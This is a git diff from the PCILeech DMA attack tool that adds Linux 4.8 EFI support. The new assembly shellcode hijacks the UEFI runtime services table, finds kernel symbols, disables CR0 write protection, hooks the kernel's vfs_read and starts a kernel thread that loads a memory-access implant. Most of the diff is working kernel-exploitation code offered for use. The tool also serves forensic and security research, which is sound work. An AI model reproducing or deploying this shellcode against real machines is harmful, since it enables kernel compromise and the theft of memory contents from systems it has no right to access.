+ if(PDPT_idx != (0x1ff & (qwA >> 30))) { // PDPT(Page-Directory Pointer Table)
+ PDPT_idx = 0x1ff & (qwA >> 30);
+ qwPageTableData = PDPT[PDPT_idx];
+ if((qwPageTableData & 0x81) != 0x01) {
+ qwA = (qwA + 0x0000000040000000) & 0xffffffffC0000000;
+ continue;
+ }
+ result = DeviceReadMEM(pDeviceData, qwPageTableData & ~0xfff, (PBYTE)PD, 0x1000, 0);
+ if(!result) {
+ qwA = (qwA + 0x0000000040000000) & 0xffffffffC0000000;
+ continue;
+ }
+ PD_idx = 0xfff;
+ PT_idx = 0xfff;
+ }
+ if(PD_idx != (0x1ff & (qwA >> 21))) { // PD (Page Directory)
+ PD_idx = 0x1ff & (qwA >> 21);
+ qwPageTableData = PD[PD_idx];
+ if(((qwPageTableData & 0x81) == 0x81) && ((qwPageTableData & 0x0000ffffffe00000) == (qwAddrPhys & 0x0000ffffffe00000))) { // map 2MB page
+ *pqwAddrVirt = qwA + (qwAddrPhys & 0x1fffff);
+ *pqwPTE = qwPageTableData;
+ return TRUE;
+ }
+ if((qwPageTableData & 0x81) != 0x01) {
+ qwA = (qwA + 0x0000000000200000) & 0xffffffffffE00000;
+ continue;
+ }
+ result = DeviceReadMEM(pDeviceData, qwPageTableData & ~0xfff, (PBYTE)PT, 0x1000, 0);
+ if(!result) {
+ qwA = (qwA + 0x0000000000200000) & 0xffffffffffE00000;
+ continue;
+ }
+ PT_idx = 0xfff;
+ }
+ if(PT_idx != (0x1ff & (qwA >> 12))) { // PT (Page Table)
+ PT_idx = 0x1ff & (qwA >> 12);
+ qwPageTableData = PT[PT_idx];
+ if(((qwPageTableData & 0x01) == 0x01) && ((qwPageTableData & 0x0000fffffffff000) == (qwAddrPhys & 0x0000fffffffff000))) {
+ *pqwAddrVirt = qwA + (qwAddrPhys & 0xfff);
+ *pqwPTE = qwPageTableData;
+ return TRUE;
+ }
+ qwA = (qwA + 0x0000000000001000) & 0xfffffffffffff000;
+ continue;
+ }
+ }
+ return FALSE;
+}
+
BOOL Util_ParseHexFileBuiltin(_In_ LPSTR sz, _Out_ PBYTE pb, _In_ DWORD cb, _Out_ PDWORD pcb)
{
SIZE_T i;
@@ -402,7 +484,7 @@ QWORD Util_GetNumeric(_In_ LPSTR sz)
}
}
-VOID Util_CreateSignatureLinuxGeneric(_In_ DWORD paBase, _In_ DWORD paSzKallsyms, _In_ QWORD vaSzKallsyms, _In_ QWORD vaFnKallsyms, _In_ QWORD vaFnHijack, _Out_ PSIGNATURE pSignature)
+VOID Util_CreateSignatureLinuxGenericPre48(_In_ DWORD paBase, _In_ DWORD paSzKallsyms, _In_ QWORD vaSzKallsyms, _In_ QWORD vaFnKallsyms, _In_ QWORD vaFnHijack, _Out_ PSIGNATURE pSignature)
{
DWORD dwBase2M = (paSzKallsyms & ~0x1fffff) - ((vaSzKallsyms & ~0x1fffff) - (vaFnKallsyms & ~0x1fffff)); // symbol name base is not same as fn base
memset(pSignature, 0, sizeof(SIGNATURE));
@@ -451,10 +533,15 @@ VOID Util_CreateSignatureMacOSGeneric(_In_ DWORD paKernelBase, _In_ DWORD paFunc
VOID Util_CreateSignatureWindowsHalGeneric(_Out_ PSIGNATURE pSignature)
{
memset(pSignature, 0, sizeof(SIGNATURE));
- memcpy(pSignature->chunk[3].pb, WINX64_STAGE2_HAL_BIN, sizeof(WINX64_STAGE2_HAL_BIN));
- memcpy(pSignature->chunk[4].pb, WINX64_STAGE3_BIN, sizeof(WINX64_STAGE3_BIN));
- pSignature->chunk[3].cb = sizeof(WINX64_STAGE2_HAL_BIN);
- pSignature->chunk[4].cb = sizeof(WINX64_STAGE3_BIN);
+ Util_ParseHexFileBuiltin("DEFAULT_WINX64_STAGE2_HAL", pSignature->chunk[3].pb, 4096, &pSignature->chunk[3].cb);
+ Util_ParseHexFileBuiltin("DEFAULT_WINX64_STAGE3", pSignature->chunk[4].pb, 4096, &pSignature->chunk[4].cb);
+}
+
+VOID Util_CreateSignatureLinuxEfiRuntimeServices(_Out_ PSIGNATURE pSignature)
+{
+ memset(pSignature, 0, sizeof(SIGNATURE));
+ Util_ParseHexFileBuiltin("DEFAULT_LINUX_X64_STAGE2_EFI", pSignature->chunk[3].pb, 4096, &pSignature->chunk[3].cb);
+ Util_ParseHexFileBuiltin("DEFAULT_LINUX_X64_STAGE3", pSignature->chunk[4].pb, 4096, &pSignature->chunk[4].cb);
}
VOID Util_CreateSignatureSearchAll(_In_ PBYTE pb, _In_ DWORD cb, _Out_ PSIGNATURE pSignature)
diff --git a/pcileech/util.h b/pcileech/util.h
index a1d6a70..6505470 100644
--- a/pcileech/util.h
+++ b/pcileech/util.h
@@ -1,6 +1,6 @@
// util.h : definitions of various utility functions.
//
-// (c) Ulf Frisk, 2016
+// (c) Ulf Frisk, 2016, 2017
// Author: Ulf Frisk, pcileech@frizk.net
//
#ifndef __UTIL_H__
@@ -34,6 +34,19 @@ BOOL Util_PageTable_ReadPTE(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _I
*/
BOOL Util_PageTable_FindSignatureBase(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _Inout_ PQWORD pqwCR3, _In_ PSIGNATUREPTE pPTEs, _In_ QWORD cPTEs, _Out_ PQWORD pqwSignatureBase);
+/*
+* Search the page tables for a given physical address. The first occurrence for
+* this address will be returned.
+* -- pCfg
+* -- pDeviceData
+* -- qwCR3 = the physical address of PML4.
+* -- qwAddrPhys = the physical address to search for.
+* -- pqwAddrVirt = ptr to receive virtual address.
+* -- pqwPTE = ptr to receive value of PTE
+* -- return
+*/
+BOOL Util_PageTable_FindMappedAddress(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwCR3, _In_ QWORD qwAddrPhys, _Out_ PQWORD pqwAddrVirt, _Out_ PQWORD pqwPTE);
+
/*
* Load KMD and Unlock signatures.
* -- szSignatureName
@@ -103,6 +116,7 @@ QWORD Util_GetNumeric(_In_ LPSTR sz);
/*
* "Create" a static signature for Linux given the supplied parameters. The
* function formats the paramerters and put them into the supplied pSignature.
+* This will only work for kernels prior to 4.8.
* -- paBase = memory physical offset to paSzKallsyms
* -- paSzKallsyms = physical offset to 'kallsyms_looup_name' text string.
* -- vaSzKallsyms = virtual address of 'kallsyms_looup_name' text string.
@@ -110,7 +124,7 @@ QWORD Util_GetNumeric(_In_ LPSTR sz);
* -- vaFnHijack = virtual address of the function to hijack.
* -- pSignature = ptr to signature struct to place the result in.
*/
-VOID Util_CreateSignatureLinuxGeneric(_In_ DWORD paBase, _In_ DWORD paSzKallsyms, _In_ QWORD vaSzKallsyms, _In_ QWORD vaFnKallsyms, _In_ QWORD vaFnHijack, _Out_ PSIGNATURE pSignature);
+VOID Util_CreateSignatureLinuxGenericPre48(_In_ DWORD paBase, _In_ DWORD paSzKallsyms, _In_ QWORD vaSzKallsyms, _In_ QWORD vaFnKallsyms, _In_ QWORD vaFnHijack, _Out_ PSIGNATURE pSignature);
/*
* "Create" a static signature for FreeBSD given the supplied parameters. The
@@ -139,6 +153,13 @@ VOID Util_CreateSignatureMacOSGeneric(_In_ DWORD paKernelBase, _In_ DWORD paFunc
*/
VOID Util_CreateSignatureWindowsHalGeneric(_Out_ PSIGNATURE pSignature);
+/*
+* Load the stage2 and stage3 code for the EFI Runtime Sertives hijack technique
+* into the supplied signature.
+* -- pSignature = ptr to signature struct to place the result in.
+*/
+VOID Util_CreateSignatureLinuxEfiRuntimeServices(_Out_ PSIGNATURE pSignature);
+
/*
* Create a search signature that searches all memory for the signature given in
* the supplied pb and cb parameters.
diff --git a/pcileech_files/pcileech.exe b/pcileech_files/pcileech.exe
index 6d4e6c0..2058bef 100644
Binary files a/pcileech_files/pcileech.exe and b/pcileech_files/pcileech.exe differ
diff --git a/pcileech_kmd/linux/pcileech_kmd.c b/pcileech_kmd/linux/pcileech_kmd.c
index af69891..aa77e80 100644
--- a/pcileech_kmd/linux/pcileech_kmd.c
+++ b/pcileech_kmd/linux/pcileech_kmd.c
@@ -38,7 +38,7 @@ const char LINUX_X64_STAGE3_PRE_BIN[] = {
static int __init pcileech_init(void)
{
uint64_t pg_pa, pg_va, h_thread;
- struct page *pg = alloc_pages_current(0x14, 1);
+ struct page *pg = alloc_pages_current(0x14, 2);
if(!pg) {
printk("pcileech: error allocating memory\n");
return 1;
diff --git a/pcileech_shellcode/lx64_stage2.asm b/pcileech_shellcode/lx64_stage2.asm
index d3a3229..b9b6389 100644
--- a/pcileech_shellcode/lx64_stage2.asm
+++ b/pcileech_shellcode/lx64_stage2.asm
@@ -101,7 +101,7 @@ setup PROC
TEST rax, rax
JZ error
MOV rdi, 14h
- MOV rsi, 1h
+ MOV rsi, 2h
CALL rax
TEST rax, rax
JZ error
diff --git a/pcileech_shellcode/lx64_stage2_efi.asm b/pcileech_shellcode/lx64_stage2_efi.asm
new file mode 100644
index 0000000..af10223
--- /dev/null
+++ b/pcileech_shellcode/lx64_stage2_efi.asm
@@ -0,0 +1,533 @@
+; lx64_stage2_efi.asm : assembly to receive execution from hooked efi runtime services dispatch table.
+; Compatible with Linux x64.
+;
+; (c) Ulf Frisk, 2017
+; Author: Ulf Frisk, pcileech@frizk.net
+;
+
+;
+; the efi runtime services hook will access the linux kernel proper and set up
+; a hook in the 'vfs_read' function. The 'vfs_read' function gets called often.
+; A harmless kernel Oops will be shown in the process when setting a unaligned
+; memory page to executable.
+;
+
+.CODE
+
+data_reserved_future_use dq 0,0,0,0 ; [000h offset, 20h size]
+data_phys_addr_alloc dd 0 ; [020h offset, 04h size]
+data_filler_0 dd 0 ; [024h offset, 04h size]
+data_addr_runtserv dq 0 ; [028h offset, 08h size]
+data_runtserv_table_fn dq 0,0,0,0,0,0,0,0,0,0,0,0,0,0 ; [030h offset, 70h size]
+data_debug0 dq 0 ; [0a0h offset, 08h size]
+data_debug1 dq 0 ; [0a8h offset, 08h size]
+data_debug2 dq 0 ; [0b0h offset, 08h size]
+data_debug3 dq 0 ; [0b8h offset, 08h size]
+data_debug4 dq 0 ; [0c0h offset, 08h size]
+addr_kthread_create_on_node dq 0 ; [0c8h offset, 08h size]
+addr_wake_up_process dq 0 ; [0d0h offset, 08h size]
+addr_page_offset_base dq 0 ; [0d8h offset, 08h size]
+addr_alloc_pages_current dq 0 ; [0e0h offset, 08h size]
+addr_set_memory_x dq 0 ; [0e8h offset, 08h size]
+addr_vfs_read dq 0 ; [0f0h offset, 08h size]
+addr_kallsyms_lookup_name dq 0 ; [0f8h offset, 08h size]
+
+; ----------------------------------------------------
+; ENTRY POINT:
+; 100h offset
+; UEFI x64 calling convention is assumed upon entry.
+; volatile :: rax, rcx, rdx, r8, r9, r10, r11
+; arguments in :: rcx, rdx, r8, r9
+; ----------------------------------------------------
+main PROC
+ ; ----------------------------------------------------
+ ; 1: LANDING POINT FOR HOOKED EFI RUNTIME SERVICES (RUNTSERV) TABLE.
+ ; (depending on which of the _14_ functions are hooked execution
+ ; will land on different position.
+ ; ----------------------------------------------------
+ PUSH 0
+ PUSH 0
+ PUSH 0
+ PUSH 0
+ PUSH 0
+ PUSH 0
+ PUSH 0
+ PUSH 0
+ PUSH 0
+ PUSH 0
+ PUSH 0
+ PUSH 0
+ PUSH 0
+ PUSH 0
+ ; ----------------------------------------------------
+ ; 2: FETCH CALLER AND CALLEE ADDRESSES.
+ ; ----------------------------------------------------
+ MOV r11, 14
+ loop_count:
+ DEC r11
+ POP rax
+ TEST rax, rax
+ JZ loop_count
+ PUSH rax
+ MOV r10, rax
+ LEA rax, data_runtserv_table_fn
+ PUSH [rax + 8*r11 + 8]
+ ; ----------------------------------------------------
+ ; 3: SAVE ORIGINAL PARAMETERS.
+ ; ----------------------------------------------------
+ PUSH rdi
+ PUSH rsi
+ PUSH rcx
+ PUSH rdx
+ PUSH r8
+ PUSH r9
+ PUSH rbx
+ PUSH rbp
+ PUSH r12
+ PUSH r13
+ PUSH r14
+ PUSH r15
+ ; ----------------------------------------------------
+ ; 4: RESTORE ORIGNAL RUNTSERV TABLE.
+ ; ----------------------------------------------------
+ MOV rcx, 14
+ loop_restore:
+ DEC rcx
+ LEA rax, data_runtserv_table_fn
+ MOV rdx, [rax + 8*rcx]
+ MOV rax, [data_addr_runtserv]
+ MOV [rax + 18h + 8*rcx], rdx
+ TEST rcx, rcx
+ JNZ loop_restore
+ ; ----------------------------------------------------
+ ; 5: FIND SYMBOLS AND CALL SETUP CODE.
+ ; ----------------------------------------------------
+ MOV rcx, r10
+ CALL find_kallsyms
+ CALL find_symbols
+ CALL setup_uefi_rt
+ ; ----------------------------------------------------
+ ; 6: RESTORE AND JMP TO ORIGINAL INTENDED TARGET.
+ ; ----------------------------------------------------
+ POP r15
+ POP r14
+ POP r13
+ POP r12
+ POP rbp
+ POP rbx
+ POP r9
+ POP r8
+ POP rdx
+ POP rcx
+ POP rsi
+ POP rdi
+ POP rax
+ MOV [data_debug1], rax
+ JMP rax
+main ENDP
+
+; ----------------------------------------------------
+; Locate address of kallsyms_lookup_name.
+; rcx -> address in kernel
+; volatile :: rax, r13, r14, r15
+; ----------------------------------------------------
+find_kallsyms PROC
+ ; ----------------------------------------------------
+ ; 1: Search for string: 'kallsyms_lookup_name'.
+ ; ----------------------------------------------------
+ LEA rax, str_kallsyms
+ MOV r13, [rax]
+ MOV r14, [rax+8]
+ MOV r15, [rax+14]
+ kallsyms_find_str_loop:
+ INC rcx
+ MOV rax, [rcx]
+ CMP rax, r13
+ JNE kallsyms_find_str_loop
+ MOV rax, [rcx+8]
+ CMP rax, r14
+ JNE kallsyms_find_str_loop
+ MOV rax, [rcx+16-2]
+ CMP rax, r15
+ JNE kallsyms_find_str_loop
+ INC rcx
+ ; ----------------------------------------------------
+ ; 2: Search for address to string previously found.
+ ; ----------------------------------------------------
+ ; rcx == address of str kallsyms_lookup_name -> r15
+ MOV r15, rcx
+ SHR rcx, 3
+ SHL rcx, 3
+ kallsyms_find_addr_loop:
+ SUB rcx, 8
+ MOV rax, [rcx]
+ CMP rax, r15
+ JNZ kallsyms_find_addr_loop
+ ; ----------------------------------------------------
+ ; 3: Return fn address of kallsyms_lookup_name.
+ ; ----------------------------------------------------
+ MOV rax, [rcx-08h]
+ MOV [addr_kallsyms_lookup_name], rax
+ RET
+find_kallsyms ENDP
+
+; ----------------------------------------------------
+; Locate required symbols (kallsyms_lookup_name must be known).
+; volatile :: rax, rdi
+; ----------------------------------------------------
+find_symbols PROC
+ PUSH r15
+ MOV r15, [addr_kallsyms_lookup_name]
+ ; addr_vfs_read
+ LEA rdi, str_vfs_read
+ CALL r15
+ MOV [addr_vfs_read], rax
+ ; addr_set_memory_x
+ LEA rdi, str_set_memory_x
+ CALL r15
+ MOV [addr_set_memory_x], rax
+ ; addr_alloc_pages_current
+ LEA rdi, str_alloc_pages_current
+ CALL r15
+ MOV [addr_alloc_pages_current], rax
+ ; addr_page_offset_base
+ LEA rdi, str_page_offset_base
+ CALL r15
+ MOV [addr_page_offset_base], rax
+ ; addr_kthread_create_on_node
+ LEA rdi, str_kthread_create_on_node
+ CALL r15
+ MOV [addr_kthread_create_on_node], rax
+ ; addr_wake_up_process
+ LEA rdi, str_wake_up_process
+ CALL r15
+ MOV [addr_wake_up_process], rax
+ POP r15
+ RET
+find_symbols ENDP
+
+; ----------------------------------------------------
+; Setup stage2 area and hook kernel proper.
+; r14 -> address of kallsyms_lookup_name
+; r11 :: address of vfs_read (virt addr/hook fn)
+; r12 :: alloc pg (virt addr)
+; r13 :: alloc pg (phys addr)
+; ----------------------------------------------------
+setup_uefi_rt PROC
+ ; ----------------------------------------------------
+ ; 1: ALLOC 1 PAGE FOR CODE TO BE CALLED BY KERNEL.
+ ; ----------------------------------------------------
+ MOV rdi, 14h
+ MOV rsi, 0h
+ CALL [addr_alloc_pages_current]
+ ; ----------------------------------------------------
+ ; 2: RETRIEVE PHYS/VIRT ADDRESSES OF PAGE.
+ ; ----------------------------------------------------
+ MOV rdi, rax
+ CALL m_page_to_phys
+ MOV r13, rax
+ MOV rdi, r13
+ CALL m_phys_to_virt
+ MOV r12, rax
+ MOV [data_debug1], r13 ; debug
+ MOV [data_debug2], r12 ; debug
+ ; ----------------------------------------------------
+ ; 3: PATCH HOOK SHELLCODE.
+ ; ----------------------------------------------------
+ ; patch shellcode absolute virtual location
+ LEA rax, hook_shellcode + 06h
+ LEA rdx, hook_kernel_fn_landing_point
+ AND rdx, 0fffh
+ ADD rdx, r12
+ MOV [rax], rdx
+ ; patch relative addr to set_memory_x
+ MOV rdx, [addr_vfs_read] ; addr from
+ ADD rdx, 19h
+ MOV rcx, [addr_set_memory_x] ; addr to
+ SUB ecx, edx ; addr rel (used in call)
+ LEA rax, hook_shellcode + 15h
+ MOV [rax], ecx
+ ; ----------------------------------------------------
+ ; 4: SAVE ORIGINAL BYTES OF HOOK FUNCTION.
+ ; ----------------------------------------------------
+ XOR rcx, rcx
+ MOV r8, [addr_vfs_read]
+ LEA r9, data_hook_original_32
+ hook_fn_copy_loop:
+ MOV rax, [r8 + rcx]
+ MOV [r9 + rcx], rax
+ ADD rcx, 8
+ CMP rcx, 32
+ JNE hook_fn_copy_loop
+ ; ----------------------------------------------------
+ ; 5: COPY PAGE TO ALLOC'ED LOCATION.
+ ; ----------------------------------------------------
+ XOR rcx, rcx
+ LEA r8, main
+ SHR r8, 12
+ SHL r8, 12
+ page_copy_loop:
+ MOV rax, [r8 + rcx]
+ MOV [r12 + rcx], rax
+ ADD rcx, 8
+ CMP rcx, 1000h
+ JNE page_copy_loop
+ ; ----------------------------------------------------
+ ; 5: ENABLE SUPERVISOR WRITE.
+ ; ----------------------------------------------------
+ MOV rax, cr0
+ MOV r15, rax
+ AND eax, 0fffeffffh
+ MOV cr0, rax
+ ; ----------------------------------------------------
+ ; 6: PATCH KERNEL 'vfs_read'.
+ ; ----------------------------------------------------
+ XOR rcx, rcx
+ MOV r8, [addr_vfs_read]
+ LEA r9, hook_shellcode
+ hook_fn_patch_loop:
+ MOV rax, [r9 + rcx]
+ MOV [r8 + rcx], rax
+ ADD rcx, 8
+ CMP rcx, 32
+ JNE hook_fn_patch_loop
+ ; ----------------------------------------------------
+ ; 7: CLEAN UP AND EXIT.
+ ; ----------------------------------------------------
+ MOV cr0, r15
+ MOV [data_phys_addr_alloc], r13d
+ RET
+setup_uefi_rt ENDP
+
+; ------------------------------------------------------------------
+; Retrieve the PAGE_OFFSET_BASE
+; r14 -> kallsyms_lookup_name
+; rax <- value of PAGE_OFFSET_BASE
+; ------------------------------------------------------------------
+m_page_offset_base PROC
+ MOV rax, [addr_page_offset_base]
+ TEST rax, rax
+ JZ kaslr_pg_disable
+ MOV rax, [rax]
+ RET
+ kaslr_pg_disable:
+ MOV rax, 0ffff880000000000h
+ RET
+m_page_offset_base ENDP
+
+m_phys_to_virt PROC
+ PUSH rdi
+ CALL m_page_offset_base
+ POP rdi
+ ADD rax, rdi
+ RET
+m_phys_to_virt ENDP
+
+m_page_to_phys PROC
+ MOV rax, 0ffffea0000000000h
+ SUB rdi, rax
+ SHR rdi, 7 ; PFN
+ SHL rdi, 12
+ MOV rax, rdi
+ RET
+m_page_to_phys ENDP
+
+str_kallsyms db 0, 'kallsyms_lookup_name', 0
+str_kthread_create_on_node db 'kthread_create_on_node', 0
+str_alloc_pages_current db 'alloc_pages_current', 0
+str_page_offset_base db 'page_offset_base', 0
+str_vfs_read db 'vfs_read', 0
+str_set_memory_x db 'set_memory_x', 0
+str_wake_up_process db 'wake_up_process', 0
+str_pcileech db 'pcileech', 0
+data_cmpxchg_flag db 0
+data_hook_original_32 dq 0, 0, 0, 0
+
+; ------------------------------------------------------------------
+; Hook shellcode (26 bytes) to replace initial bytes of hooked
+; function (vfs_read). First call set_memory_x to make target
+; executable and then call into target.
+; ------------------------------------------------------------------
+hook_shellcode PROC
+ ; push 'vfs_read' 4 args to stack.
+ PUSH rdi ; 00 offset, 01 size
+ PUSH rsi ; 01 offset, 01 size
+ PUSH rdx ; 02 offset, 01 size
+ PUSH rcx ; 03 offset, 01 size
+ MOV rdi, 8888888888888888h ; 04 offset, 0a size, 06 data_offset
+ PUSH rdi ; 0e offset, 01 size (RET address for returning set_memory_x)
+ MOV esi, 1 ; 0f offset, 05 size
+ JMP label_fake + 77777777h ; 14 offset, 05 size, 15 data_offset (call to set_memory_x)
+ label_fake:
+hook_shellcode ENDP
+
+; -----------------------------------------------------------------------------
+; CODE EXECUTED BY 'vfs_read' KERNEL HOOK BELOW
+; -----------------------------------------------------------------------------
+hook_kernel_fn_landing_point PROC
+ ; ----------------------------------------------------
+ ; 1: SAVE ORIGINAL PARAMETERS
+ ; ----------------------------------------------------
+ ;PUSH rdi ; already pushed by hook shellcode
+ ;PUSH rsi ; already pushed by hook shellcode
+ ;PUSH rdx ; already pushed by hook shellcode
+ ;PUSH rcx ; already pushed by hook shellcode
+ PUSH r8
+ PUSH r9
+ PUSH rbx
+ PUSH rbp
+ PUSH r12
+ PUSH r13
+ PUSH r14
+ PUSH r15
+ ; ----------------------------------------------------
+ ; 2: ENABLE SUPERVISOR WRITE
+ ; ----------------------------------------------------
+ MOV rdx, cr0
+ MOV rax, rdx
+ AND eax, 0fffeffffh
+ MOV cr0, rax
+ ; ----------------------------------------------------
+ ; 3: RESTORE ORIGNAL (32 bytes) & SUPERVISOR WRITE
+ ; ----------------------------------------------------
+ XOR rcx, rcx
+ MOV r8, [addr_vfs_read]
+ LEA r9, data_hook_original_32
+ hook_fn_copy_loop:
+ MOV rax, [r9 + rcx]
+ MOV [r8 + rcx], rax
+ ADD rcx, 8
+ CMP rcx, 32
+ JNE hook_fn_copy_loop
+ MOV cr0, rdx
+ ; ----------------------------------------------------
+ ; 4: ENSURE ATOMICITY IN THREADED ENVIRONMENTS
+ ; ----------------------------------------------------
+ MOV al, 00h
+ MOV dl, 01h
+ LEA rcx, data_cmpxchg_flag
+ LOCK CMPXCHG [rcx], dl
+ JNE skipcall
+ ; ----------------------------------------------------
+ ; 5: CALL SETUP STAGE3 CODE
+ ; ----------------------------------------------------
+ CALL setup_stage3
+ ; ----------------------------------------------------
+ ; 6: RESTORE AND JMP BACK TO UNHOOKED FUNCTION
+ ; ----------------------------------------------------
+ skipcall:
+ POP r15
+ POP r14
+ POP r13
+ POP r12
+ POP rbp
+ POP rbx
+ POP r9
+ POP r8
+ POP rcx
+ POP rdx
+ POP rsi
+ POP rdi
+ JMP [addr_vfs_read]
+hook_kernel_fn_landing_point ENDP
+
+; ----------------------------------------------------
+; This code compiles into 53 bytes. This is copied by
+; stage3 area by the setup function.
+; Linux cannot use the simpler windows stage3 pre code
+; since the thread will get stuck without a sleep.
+; ----------------------------------------------------
+lx64_stage3_pre PROC
+ label_main_base:
+ JMP label_main_loop
+ str_msleep db 'msleep', 0
+ label_main_loop:
+ LEA rdi, str_msleep
+ LEA rax, label_main_base-1000h+10h ; KMDDATA.qwAddrKallsymsLookupName
+ MOV rax, [rax]
+ CALL rax
+ MOV rdi, 100
+ CALL rax
+ LEA rax, label_main_base-8h
+ MOV rax, [rax]
+ CMP rax, 0
+ JZ label_main_loop
+lx64_stage3_pre ENDP
+
+; ----------------------------------------------------
+; clear_8k
+; clear 8192 bytes of memory
+; rdi -> starting address
+; ----------------------------------------------------
+clear_8k PROC
+ XOR rax, rax
+ MOV ecx, 1024
+ CLD
+ REP STOSQ [rdi]
+ RET
+clear_8k ENDP
+
+setup_stage3 PROC
+ ; ----------------------------------------------------
+ ; 1: ALLOC PAGES.
+ ; ----------------------------------------------------
+ MOV rdi, 14h
+ MOV rsi, 2h
+ CALL [addr_alloc_pages_current]
+ ; ----------------------------------------------------
+ ; 2: RETRIEVE PHYS/VIRT ADDRESSES OF PAGES.
+ ; ----------------------------------------------------
+ MOV rdi, rax
+ CALL m_page_to_phys
+ MOV r13, rax
+ MOV rdi, r13
+ CALL m_phys_to_virt
+ MOV r12, rax
+ ; ----------------------------------------------------
+ ; 3: SET CODE PAGE TO EXECUTABLE.
+ ; ----------------------------------------------------
+ MOV rdi, r12
+ MOV rsi, 2
+ CALL [addr_set_memory_x]
+ ; ----------------------------------------------------
+ ; 4: CLEAR AND COPY STAGE3 PRE BINARY TO AREA.
+ ; ----------------------------------------------------
+ MOV rdi, r12
+ CALL clear_8k
+ MOV rdi, 64
+ copy_stage3_pre_loop:
+ SUB rdi, 8
+ LEA rax, lx64_stage3_pre
+ MOV rax, [rax+rdi]
+ MOV rsi, r12
+ ADD rsi, 1000h
+ ADD rsi, rdi
+ MOV [rsi], rax
+ TEST rdi, rdi
+ JNZ copy_stage3_pre_loop
+ ; ----------------------------------------------------
+ ; 5: CREATE THREAD & SET UP DATA AREA.
+ ; ----------------------------------------------------
+ MOV rdi, r12
+ ADD rdi, 01000h
+ XOR rsi, rsi
+ XOR rdx, rdx
+ SUB rdx, 1
+ LEA rcx, str_pcileech
+ CALL [addr_kthread_create_on_node]
+ MOV [r12+58h], rax ; KMDDATA.ReservedKMD
+ MOV rax, [addr_kallsyms_lookup_name]
+ MOV [r12+10h], rax ; KMDDATA.AddrKallsymsLookupName
+ ; ----------------------------------------------------
+ ; 6: START THREAD.
+ ; ----------------------------------------------------
+ MOV rdi, [r12+58h]
+ CALL [addr_wake_up_process]
+ ; ----------------------------------------------------
+ ; 7: FINISH!
+ ; ----------------------------------------------------
+ MOV [data_phys_addr_alloc], r13d
+ RET
+setup_stage3 ENDP
+
+END
diff --git a/pcileech_shellcode/lx64_stage3_c.c b/pcileech_shellcode/lx64_stage3_c.c
index b4b8aef..d1e2eec 100644
--- a/pcileech_shellcode/lx64_stage3_c.c
+++ b/pcileech_shellcode/lx64_stage3_c.c
@@ -100,6 +100,58 @@ typedef struct tdKMDDATA {
#define KMD_CMD_READ_VA 6
#define KMD_CMD_WRITE_VA 7
+/*
+* Tries to allocate 4MB contigious memory. If not possible 2MB will be tried.
+* If not possible -> fail.
+* -- pk
+* -- fRetry = should be set to TRUE on entry to enable retry on fail.
+* -- return = ptr to struct page if successful.
+*/
+QWORD AllocateMemoryDma(PKMDDATA pk, BOOL fRetry)
+{
+ QWORD i, pStructPages[3], pa[2];
+ for(i = 0; i < 2; i++) {
+ pStructPages[i] = SysVCall(pk->fn.alloc_pages_current, 0x14, 10);
+ pa[i] = pStructPages[i] ? m_page_to_phys(pStructPages[i]) : 0;
+ }
+ // success
+ if(pa[0] == pa[1] + 0x200000) {
+ pk->DMASizeBuffer = 0x400000;
+ pk->DMAAddrPhysical = pa[1];
+ return pStructPages[1];
+ }
+ // complete fail
+ if(!pa[0] && !pa[1]) {
+ return 0;
+ }
+ // if 2nd attempt - fail if not complete success
+ if(!fRetry) {
+ for(i = 0; i < 2; i++) {
+ if(pStructPages[i]) {
+ SysVCall(pk->fn.__free_pages, pStructPages[i], 10);
+ }
+ }
+ return 0;
+ }
+ // retry for possible complete success
+ pStructPages[2] = AllocateMemoryDma(pk, FALSE);
+ if(pStructPages[2]) {
+ for(i = 0; i < 2; i++) {
+ if(pStructPages[i]) {
+ SysVCall(pk->fn.__free_pages, pStructPages[i], 10);
+ }
+ }
+ return pStructPages[2];
+ }
+ // partial success
+ if(pStructPages[1]) {
+ SysVCall(pk->fn.__free_pages, pStructPages[1], 10);
+ }
+ pk->DMASizeBuffer = 0x200000;
+ pk->DMAAddrPhysical = pa[0];
+ return pStructPages[0];
+}
+
// status:
// 1: ready for command
// 2: processing
@@ -124,16 +176,13 @@ VOID stage3_c_EntryPoint(PKMDDATA pk)
pk->_status = 0xf0000001;
return;
}
- // 1: set up mem out dma area 4MB in lower 4GB (linux does not support std 16MB)
- pStructPages = SysVCall(pk->fn.alloc_pages_current, 0x14, 10);
- if(!pStructPages) {
+ // 1: allocate memory
+ if(0 == (pStructPages = AllocateMemoryDma(pk, TRUE))) {
pk->_status = 0xf0000002;
return;
}
- pk->DMAAddrPhysical = m_page_to_phys(pStructPages);
pk->DMAAddrVirtual = m_phys_to_virt(pk->AddrKallsymsLookupName, pk->DMAAddrPhysical);
- pk->DMASizeBuffer = 0x400000;
- SysVCall(pk->fn.set_memory_x, pk->DMAAddrVirtual, 1024);
+ SysVCall(pk->fn.set_memory_x, pk->DMAAddrVirtual, pk->DMASizeBuffer / 4096);
// 2: main dump loop
SysVCall(pk->fn.do_gettimeofday, &timeLast);
while(TRUE) {
diff --git a/pcileech_shellcode/pcileech_shellcode.vcxproj b/pcileech_shellcode/pcileech_shellcode.vcxproj
index 79c7f8c..4b4b6d3 100644
--- a/pcileech_shellcode/pcileech_shellcode.vcxproj
+++ b/pcileech_shellcode/pcileech_shellcode.vcxproj
@@ -81,6 +81,7 @@
+
diff --git a/pcileech_shellcode/pcileech_shellcode.vcxproj.filters b/pcileech_shellcode/pcileech_shellcode.vcxproj.filters
index 6d5b41e..49f928a 100644
--- a/pcileech_shellcode/pcileech_shellcode.vcxproj.filters
+++ b/pcileech_shellcode/pcileech_shellcode.vcxproj.filters
@@ -170,6 +170,9 @@
Source Files
+
+ Source Files\kmd_core
+
diff --git a/readme.md b/readme.md
index 80689e4..6fee07b 100644
--- a/readme.md
+++ b/readme.md
@@ -147,3 +147,7 @@ v1.3
* implant: stability improvements for Win8+ [wx64_pscreate, wx64_pscmd, wx64_pscmd_user].
* other: load kmd by compiling and inserting .ko on linux [ pcileech_kmd/linux ].
* other: firmware flash support in Windows.
+
+v1.4
+* core: linux 4.8 efi support [-kmd linux_x64_efi] [http://blog.frizk.net/2017/01/attacking-uefi-and-linux.html].
+* other: linux stability fixes.